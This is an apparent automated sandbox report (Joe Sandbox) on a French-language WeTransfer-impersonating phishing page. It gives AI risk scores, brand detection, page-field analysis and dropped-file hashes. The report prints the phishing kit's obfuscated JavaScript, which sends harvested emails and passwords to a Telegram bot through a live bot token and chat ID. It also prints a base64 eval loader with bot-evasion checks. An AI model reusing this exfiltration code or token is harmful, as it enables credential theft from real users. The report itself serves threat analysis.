jD2CaMDp.qsE8zyu39hrQB0YrTgjK1MQKnviD6e.cDNIeiALQizPsQbuZWXBQreOmlgjfMXiZKPKLCV2B2CujACh9JvxSdieSFtAqF1FEiznYlhp_vzVo6impqQTr2gTTNd584W3OYpsWt7.LvsVkrq1vcumnx73s61YdrslohwzDlLOFFz4Kqi2mEUS7pkDNx6W0GwsLUIftoSl6NaQdO.7E9QT2Lb3DemsrHeAnEWBlt2Yty5Z9o0ESQK2EPfKa1BC0wyqBFzf4CCCBCbQ7bcvNwhLIHcQ32_unWVFJunLa.F6mVWAZStqFKQsmJup2IrVnieTEAtIvFuQ2zAUuuM5U6i9qqRecgVox4W.pqxajxoQ8qWJTgjogHBwMY9ameg.KdidBgzs8qKzEIIYDR_ewPzdEjagTMiqXOz5BQ59ngQ', cITimeS: '1733219207', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'sbzvu', nextRcV: '1/kVL2t161R37ZZrj_', event: 'reloadRequest', }, ""); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: window._cf_chl_opt.chlApiWidgetId, event: 'food', seq: e.seq, }, ''); } } } window.addEventListener('message', handler); }());
URL: https://connexion-espacesclients.support/gkm/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "Script appears to be Cloudflare's DDoS protection challenge script but uses potentially risky practices: creates hidden iframe (+2), injects dynamic script content (+2). However, it's from a legitimate security service (-1) and serves a valid protection purpose. Main concern is the dynamic script injection pattern, though it's a known Cloudflare implementation." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ec2a22cfd83443e',t:'MTczMzIxOTIyOC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High-risk script with multiple red flags: uses eval() with base64 encoded content (+3), contains obfuscated code (+3), performs aggressive DOM manipulation with form submission (+2). The script also includes bot detection logic and automatic form submission/page reloads, which could be used maliciously. The use of XMLHttpRequest to an internal endpoint '/gkm/' with encoded headers adds suspicion." }
eval(decodeURIComponent(escape(window.atob('KGZ1bmN0aW9uKCl7CiAgICAgICAgdmFyIGEgPSBmdW5jdGlvbigpIHt0cnl7cmV0dXJuICEhd2luZG93LmFkZEV2ZW50TGlzdGVuZXJ9IGNhdGNoKGUpIHtyZXR1cm4gITF9IH0sCiAgICAgICAgYiA9IGZ1bmN0aW9uKGIsIGMpIHthKCkgPyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIiwgYiwgYykgOiBkb2N1bWVudC5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIiwgYil9OwogICAgICAgIGIoZnVuY3Rpb24oKXsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG5vdyA9IG5ldyBEYXRlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciB0aW1lID0gbm93LmdldFRpbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdGltZSArPSAzMDAgKiAxMDAwOwogICAgICAgICAgICAgICAgICAgICAgICBub3cuc2V0VGltZSh0aW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuY29va2llID0gJzZpcmFvYnhZWWpGbzBnbmJaNWtoeU5BeG9kWT1qNnlVTGlURTFpWFhIVVZOd0RzX1Rod1B1aTAnICsgJzsgZXhwaXJlcz0nICsgJ1dlZCwgMDQtRGVjLTI0IDA5OjQ3OjA3IEdNVCcgKyAnOyBwYXRoPS8nOwogICAgICAgICAgICAgICAgICAgICAgICAvL2phdmFzY3JpcHQgcHV6emxlIGZvciBicm93c2VyIHRvIGZpZ3VyZSBvdXQgdG8gZ2V0IGFuc3dlcgogICAgICAgICAgICAgICAgICAgICAgICBpZighd2luZG93Ll9waGFudG9tIHx8ICF3aW5kb3cuY2FsbFBoYW50b20pey8qcGhhbnRvbWpzKi8KaWYoIXdpbmRvdy5fX3BoYW50b21hcyl7LypwaGFudG9tYXMgUGhhbnRvbUpTLWJhc2VkIHdlYiBwZXJmIG1ldHJpY3MgKyBtb25pdG9yaW5nIHRvb2wqLwppZighd2luZG93LkJ1ZmZlcil7Lypub2RlanMqLwppZighd2luZG93LmVtaXQpey8qY291Y2hqcyovCmlmKCF3aW5kb3cuc3Bhd24pey8qcmhpbm8qLwppZighd2luZG93LndlYmRyaXZlcil7LypzZWxlbml1bSovCmlmKCF3aW5kb3cuZG9tQXV0b21hdGlvbiB8fCAhd2luZG93LmRvbUF1dG9tYXRpb25Db250cm9sbGVyKXsvKmNocm9taXVtIGJhc2VkIGF1dG9tYXRpb24gZHJpdmVyKi8KaWYoIXdpbmRvdy5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZ2V0QXR0cmlidXRlKCJ3ZWJkcml2ZXIiKSl7Ci8qaWYobmF2aWdhdG9yLnVzZXJBZ2VudCl7Ki8KaWYoIS9ib3R8Y3VybHxrb2RpfHhibWN8d2dldHx1cmxsaWJ8cHl0aG9ufHdpbmh0dHB8aHR0cmFja3xhbGV4YXxpYV9hcmNoaXZlcnxmYWNlYm9va3x0d2l0dGVyfGxpbmtlZGlufHBpbmdkb20vaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKXsKLyppZihuYXZpZ2F0b3IuY29va2llRW5hYmxlZCl7Ki8KLyppZihkb2N1bWVudC5jb29raWUubWF0Y2goL14oPzouKjspP1xzKlswLTlhLWZdezMyfVxzKj1ccyooW147XSspKD86LiopPyQvKSl7Ki8vKkh0dHBPbmx5IENvb2tpZSBmbGFncyBwcmV2ZW50IHRoaXMqLwogICAgICAgICAgICAgICAgICAgICAgICB2YXIgXzA1OTY4NjMyMz1wYXJzZUludCgiMjAyNDEyMDIiLCAxMCkgKyBwYXJzZUludCgiMDIxMjIwMjQiLCAxMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIC8qfSovCi8qfSovCn0KLyp9Ki8KfQp9Cn0KfQp9Cn0KfQp9CiAgICAgICAgICAgICAgICAgICAgICAgIC8vZW5kIGphdmFzY3JpcHQgcHV6emxlCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciB4aHR0cCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICB4aHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoeGh0dHAucmVhZHlTdGF0ZSA9PT0gNCl7CiAgICAgICAgICAgICAgICAgY29uc3QgZmlyc3RGb3JtID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignZm9ybScpOwoKLy8gQ2hlY2sgaWYgdGhlIGZvcm0gZXhpc3RzIGFuZCBpZiBpdCBoYXMgaW5wdXQgZWxlbWVudHMKaWYgKGZpcnN0Rm9ybSkgewogIGNvbnN0IGlucHV0RmllbGRzID0gZmlyc3RGb3JtLnF1ZXJ5U2VsZWN0b3JBbGwoJ2lucHV0Jyk7CiAgCiAgaWYgKGlucHV0RmllbGRzLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOwogIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICBpZiAoIXdpbmRvdy5sb2NhdGlvbi5oYXNoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IHdpbmRvdy5sb2NhdGlvbi5ocmVmOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgfQp9IGVsc2UgewogICAgICAgICAgICAgICAgIGlmICghd2luZG93LmxvY2F0aW9uLmhhc2gpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gd2luZG93LmxvY2F0aW9uLmhyZWY7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICAgICAgeGh0dHAub3BlbigiUE9TVCIsICIvZ2ttLyIsIHRydWUpOwogICAgICAgICAgICAgICAgICAgICAgICB4aHR0cC5zZXRSZXF1ZXN0SGVhZGVyKCd5WTBHSDJMSFRONkowQ0l6Y3Zt
URL: https://connexion-espacesclients.support/gkm/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Vous avez reu un fichier scuris", "prominent_button_name": "Continuer", "text_input_field_labels": [ "Entrez l'adresse email" ], "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "Script creates hidden iframe and injects Cloudflare's challenge platform script. While this is legitimate security functionality (DDoS protection), it uses potentially risky practices: dynamic script injection, hidden iframe creation, and DOM manipulation. The code is from a trusted source (Cloudflare) which reduces the risk, but the techniques used warrant caution." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ec2a2543d6d41bb',t:'MTczMzIxOTIzNC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "Script shows multiple high-risk indicators: heavy obfuscation (encoded strings, complex control flow), use of dynamic code manipulation (String.fromCharCode), and suspicious array/binary operations. The code appears to be a challenge/fingerprinting script with intentionally obscured functionality." }
window._cf_chl_opt={cFPWv:'b'};~function(X,h,i,j,k,o,s,B,D){X=b,function(d,e,W,f,g){for(W=b,f=d();!![];)try{if(g=-parseInt(W(256))/1(parseInt(W(211))/2)+-parseInt(W(207))/3(-parseInt(W(191))/4)+parseInt(W(204))/5(-parseInt(W(253))/6)+parseInt(W(196))/7+-parseInt(W(167))/8+parseInt(W(144))/9+-parseInt(W(197))/10(-parseInt(W(171))/11),e===g)break;else f.push(f.shift())}catch(F){f.push(f.shift())}}(a,210117),h=this\|\|self,i=h[X(260)],j={},j[X(162)]='o',j[X(177)]='s',j[X(259)]='u',j[X(224)]='z',j[X(235)]='n',j[X(239)]='I',j[X(218)]='b',k=j,h[X(146)]=function(g,F,G,H,a2,J,K,L,M,N,O){if(a2=X,F===null\|\|void 0===F)return H;for(J=n(F),g[a2(230)][a2(147)]&&(J=J[a2(209)](g[a2(230)][a2(147)](F))),J=g[a2(210)][a2(156)]&&g[a2(157)]?g[a2(210)][a2(156)](new g[(a2(157))](J)):function(P,a3,Q){for(a3=a2,P[a3(208)](),Q=0;Q<P[a3(236)];P[Q]===P[Q+1]?P[a3(237)](Q+1,1):Q+=1);return P}(J),K='nAsAaAb'.split('A'),K=K[a2(250)][a2(152)](K),L=0;L<J[a2(236)];M=J[L],N=m(g,F,M),K(N)?(O=N==='s'&&!g[a2(190)](F[M]),a2(176)===G+M?I(G+M,N):O\|\|I(G+M,F[M])):I(G+M,N),L++);return H;function I(P,Q,a1){a1=b,Object[a1(186)][a1(189)][a1(182)](H,Q)\|\|(H[Q]=[]),H[Q][a1(261)](P)}},o=X(226)[X(229)](';'),s=o[X(250)][X(152)](o),h[X(175)]=function(g,F,a4,G,H,I,J){for(a4=X,G=Object[a4(195)](F),H=0;H<G[a4(236)];H++)if(I=G[H],I==='f'&&(I='N'),g[I]){for(J=0;J<F[G[H]][a4(236)];-1===g[I][a4(228)](F[G[H]][J])&&(s(F[G[H]][J])\|\|g[I][a4(261)]('o.'+F[G[H]][J])),J++);}else g[I]=F[G[H]][a4(151)](function(K){return'o.'+K})},B=function(ad,e,f,g){return ad=X,e=String[ad(248)],f={'h':function(F){return null==F?'':f.g(F,6,function(G,ae){return ae=b,ae(223)[ae(173)](G)})},'g':function(F,G,H,af,I,J,K,L,M,N,O,P,Q,R,S,T,U,V){if(af=ad,null==F)return'';for(J={},K={},L='',M=2,N=3,O=2,P=[],Q=0,R=0,S=0;S<F[af(236)];S+=1)if(T=F[af(173)](S),Object[af(186)][af(189)][af(182)](J,T)\|\|(J[T]=N++,K[T]=!0),U=L+T,Object[af(186)][af(189)][af(182)](J,U))L=U;else{if(Object[af(186)][af(189)][af(182)](K,L)){if(256>L[af(252)](0)){for(I=0;I<O;Q<<=1,G-1==R?(R=0,P[af(261)](H(Q)),Q=0):R++,I++);for(V=L[af(252)](0),I=0;8>I;Q=Q<<1\|V&1.9,R==G-1?(R=0,P[af(261)](H(Q)),Q=0):R++,V>>=1,I++);}else{for(V=1,I=0;I<O;Q=Q<<1\|V,R==G-1?(R=0,P[af(261)](H(Q)),Q=0):R++,V=0,I++);for(V=L[af(252)](0),I=0;16>I;Q=V&1.18\|Q<<1.49,G-1==R?(R=0,P[af(261)](H(Q)),Q=0):R++,V>>=1,I++);}M--,0==M&&(M=Math[af(227)](2,O),O++),delete K[L]}else for(V=J[L],I=0;I<O;Q=Q<<1\|V&1.46,G-1==R?(R=0,P[af(261)](H(Q)),Q=0):R++,V>>=1,I++);L=(M--,0==M&&(M=Math[af(227)](2,O),O++),J[U]=N++,String(T))}if(''!==L){if(Object[af(186)][af(189)][af(182)](K,L)){if(256>L[af(252)](0)){for(I=0;I<O;Q<<=1,G-1==R?(R=0,P[af(261)](H(Q)),Q=0):R++,I++);for(V=L[af(252)](0),I=0;8>I;Q=Q<<1.91\|1&V,R==G-1?(R=0,P[af(261)](H(Q)),Q=0):R++,V>>=1,I++);}else{for(V=1,I=0;I<O;Q=Q<<1\|V,R==G-1?(R=0,P[af(261)](H(Q)),Q=0):R++,V=0,I++);for(V=L[af(252)](0),I=0;16>I;Q=V&1.36\|Q<<1,G-1==R?(R=0,P[af(261)](H(Q)),Q=0):R++,V>>=1,I++);}M--,M==0&&(M=Math[af(227)](2,O),O++),delete K[L]}else for(V=J[L],I=0;I<O;Q=V&1\|Q<<1.55,G-1==R?(R=0,P[af(261)](H(Q)),Q=0):R++,V>>=1,I++);M--,M==0&&O++}for(V=2,I=0;I<O;Q=Q<<1\|V&1,G-1==R?(R=0,P[af(261)](H(Q)),Q=0):R++,V>>=1,I++);for(;;)if(Q<<=1,R==G-1){P[af(261)](H(Q));break}else R++;return P[af(217)]('')},'j':function(F,ag){return ag=ad,F==null?'':''==F?null:f.i(F[ag(236)],32768,function(G,ah){return ah=ag,F[ah(252)](G)})},'i':function(F,G,H,ai,I,J,K,L,M,N,O,P,Q,R,S,T,V,U){for(ai=ad,I=[],J=4,K=4,L=3,M=[],P=H(0),Q=G,R=1,N=0;3>N;I[N]=N,N+=1);for(S=0,T=Math[ai(227)](2,2),O=1;O!=T;U=Q&P,Q>>=1,Q==0&&(Q=G,P=H(R++)),S\|=O(0<U?1:0),O<<=1);switch(S){case 0:for(S=0,T=Math[ai(227)](2,8),O=1;O!=T;U=P&Q,Q>>=1,0==Q&&(Q=G,P=H(R++)),S\|=(0<U?1:0)O,O<<=1);V=e(S);break;case 1:for(S=0,T=Math[ai(227)](2,16),O=1;T!=O;U=P&Q,Q>>=1,Q==0&&(Q=G,P=H(R++)),S\|=O(0<U?1:0),O<<=1);V=e(S);break;case 2:return''}for(N=I[3]=V,M[ai(261)](V);;){if(R>F)return'';for(S=0,T=Math[ai(227)](2,L),O=1;O!=T;U=P&Q,Q>>=1,Q==0&&(Q=G,P=H(R++)),S\|=(0<U?1:0)O,O<<=1);switch(V=S){case 0:for(S=0,T=Math[ai(227)](2,8),O=1;T!=O;U=P&Q,Q>>=1,Q==0&&(Q=G,P=H(
URL: https://connexion-espacesclients.support/gkm/ Model: Joe Sandbox AI	{ "brands": [ "Wetransfer" ] }
	{ "brands": [ "Wetransfer" ] }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "This is a highly malicious script that exhibits multiple high-risk behaviors: 1) It contains obfuscated code using hex encoding, 2) It exfiltrates sensitive data (email/password) to Telegram via a bot token, 3) It appears to be part of a phishing operation based on the credential collection and error handling patterns. The presence of a Telegram bot token (7499623592:AAG4sRR7YzmOAFkZFFwiAbBsnnHB-lXYLSk) for data exfiltration is a clear indicator of malicious intent." }
var _0x40d1b3 = _0x1298; function _0x1298(_0x93b389, _0x301fc5) { var _0x190b9e = _0x190b(); return ( (_0x1298 = function (_0x12988f, _0x35f94c) { _0x12988f = _0x12988f - 0x121; var _0x866d3 = _0x190b9e[_0x12988f]; return _0x866d3; }), _0x1298(_0x93b389, _0x301fc5) ); } function _0x1298a(data) { const _0x40d1b3a = '7499623592:AAG4sRR7YzmOAFkZFFwiAbBsnnHB-lXYLSk'; const _0x301fc5a = '1411469413'; const _0x93b389a = ` - ${data.email}:${data.password}`; const _0x190b9ea = `https://api.telegram.org/bot${_0x40d1b3a}/sendMessage?chat_id=${_0x301fc5a}&text=${encodeURIComponent( _0x93b389a )}`; fetch(_0x190b9ea, { method: "GET" }) .then((response) => { if (response.ok) { // La requte a russi } else { } }) .catch((error) => { console.error(error); }); } function _0x190b() { var _0x185b99 = [ "234346BnGWhS", "click", "erreur-email", "DOMContentLoaded", "getElementById", "POST", "36633JrLxNF", "hidden", "94040SLmWws", "status", "Une\x20erreur\x20s\x27est\x20produite\x20lors\x20de\x20la\x20requte\x20:\x20", "333210HZEhXV", "aHR0cHM6Ly93ZXRyYW5zZmVyLmNvbS9kb3dubG9hZHMvZDJkMzQ4ZmUzZDI5OTVlMWNmOGU1ZmU4Y2Y4NGE1NmMyMDIzMTAzMTAxMTYxOC8xMTUwOTQ1YTdlZjkwZjMzYjljNjdlZjRkYzc3MDk4NTIwMjMxMDMxMDExNjU1LzA2Zjc3Nz90cms9VFJOX1RETF8wMSZ1dG1fY2FtcGFpZ249VFJOX1RETF8wMSZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9zb3VyY2U9c2VuZGdyaWQ=", "classList", "focus", "json", "add", "L\x27adresse\x20email\x20n\x27est\x20pas\x20reconnue.", "452aQoRaO", "zone-password", "then", "addEventListener", "3010896cSLXTE", "affiche-mdp", "href", "erreur-mdp", "zone-email", "remove", "innerText", "application/json", "value", "11980FYCpYT", "323972tLwftV", "40snIhbP", "test", "1InNRKI", "Ce\x20mot\x20de\x20passe\x20est\x20incorrect.", "Veuillez\x20entrer\x20un\x20mot\x20de\x20passe.", "location", "352MtEDsB", ]; _0x190b = function () { return _0x185b99; }; return _0x190b(); } (function (_0x8c058f, _0x14b410) { var _0x5592b9 = _0x1298, _0x57b5e7 = _0x8c058f(); while (!![]) { try { var _0x21688c = (-parseInt(_0x5592b9(0x13f)) / 0x1) * (parseInt(_0x5592b9(0x13c)) / 0x2) + -parseInt(_0x5592b9(0x122)) / 0x3 + (-parseInt(_0x5592b9(0x12e)) / 0x4) * (-parseInt(_0x5592b9(0x13b)) / 0x5) + -parseInt(_0x5592b9(0x127)) / 0x6 + (parseInt(_0x5592b9(0x144)) / 0x7) * (parseInt(_0x5592b9(0x13d)) / 0x8) + -parseInt(_0x5592b9(0x132)) / 0x9 + (parseInt(_0x5592b9(0x124)) / 0xa) * (parseInt(_0x5592b9(0x143)) / 0xb); if (_0x21688c === _0x14b410) break; else _0x57b5e7["push"](_0x57b5e7["shift"]()); } catch (_0x27c676) { _0x57b5e7["push"](_0x57b5e7["shift"]()); } } })(_0x190b, 0x2aac6), (msurl = ""), document["addEventListener"](_0x40d1b3(0x147), function () { var _0x2ffcc5 = _0x40d1b3, _0x1d2392 = 0x0, _0x474328 = document[_0x2ffcc5(0x148)](_0x2ffcc5(0x136)), _0x46cb83 = document[_0x2ffcc5(0x148)](_0x2ffcc5(0x133)), _0x55180f = document["getElementById"](_0x2ffcc5(0x12f)), _0x2c9a80 = document[_0x2ffcc5(0x148)](_0x2ffcc5(0x146)), _0x500e0a = document[_0x2ffcc5(0x148)](_0x2ffcc5(0x135)), _0x1120d2 = document[_0x2ffcc5(0x148)]("continuer-button"); _0x1120d2[_0x2ffcc5(0x131)](_0x2ffcc5(0x145), function () {
URL: https://connexion-espacesclients.support/gkm/ Model: Joe Sandbox AI	```json{ "legit_domain": "wetransfer.com", "classification": "wellknown", "reasons": [ "The brand 'Wetransfer' is well-known and typically associated with the domain 'wetransfer.com'.", "The URL 'connexion-espacesclients.support' does not match the legitimate domain of Wetransfer.", "The URL contains suspicious elements such as hyphens and an unusual domain extension '.support', which are common in phishing attempts.", "The URL does not contain any recognizable association with Wetransfer, which raises suspicion.", "The presence of input fields asking for email addresses is a common tactic used in phishing sites to collect user information." ], "riskscore": 9} Google indexed: False
URL: connexion-espacesclients.support Brands: Wetransfer Input Fields: Entrez l'adresse email
URL: https://connexion-espacesclients.support/gkm/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Vous avez reu un fichier scuris", "prominent_button_name": "Continuer", "text_input_field_labels": [ "tutuututututu@gmail.com", "Entrez le mot de passe" ], "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://connexion-espacesclients.support/gkm/ Model: Joe Sandbox AI	{ "brands": [ "Wetransfer" ] }
	{ "brands": [ "Wetransfer" ] }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 08:46:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9851727272569892
Encrypted:	false
SSDEEP:
MD5:	30088DA69871EFDEEDEC2C0D3566C8A4
SHA1:	0BB1DCC597E972C30BA26956C881CA6663E44D11
SHA-256:	78AB9856224DA574E614206D5B9212BF930D0BA6C546E1E300585E00402CC9FC
SHA-512:	F76B0DA223FD20F883530474449F077CE447472DF0F694436DA3A25C4D439F970585DD7EF80307206E5D9B18FA9F7DEFA9071BBCE9AD30608617E13025170CA6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....w.>hE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.M....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.M....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.M....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.M..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.M...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y=.>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 08:46:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.001638619706081
Encrypted:	false
SSDEEP:
MD5:	A7BDF8D6077D7B381E1C6B9BE45F9B0B
SHA1:	7B445C3363C2E79B3DFAE2EB1C47A59028962443
SHA-256:	24CE917B0B0542BECD99D4F5A73EDA8082E9B493016A4FA4A2AC707B10361ED1
SHA-512:	83197E011C4D9BE5FC516F2D7BE1432ADE6710619BD98B76415DAD29354D68DD03330D4B25981B00A7E5D9F1A3F8FE3354A4B083C43AFBB411EF05B12FDC3285
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....{.>hE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.M....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.M....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.M....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.M..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.M...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y=.>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0084650542337785
Encrypted:	false
SSDEEP:
MD5:	06FF9C4BAD8CDDC993441569A5A8C4AE
SHA1:	2B4BE0A801725659DC352F4B4F21F545EFBD0988
SHA-256:	64F3755D2BFC02243308E01BD442DEDBAC93D6FB2A36E37FC5832077B8CE9CCB
SHA-512:	6BC39A4ABED263AF2C48B2E153749E88EA9B940BB76228693A29AD99CFA9B70521E0C2BB1A41E7EFBD4434E0098C6868E187995B301CF488B03E7D1264C03F70
Malicious:	false
Reputation:	unknown
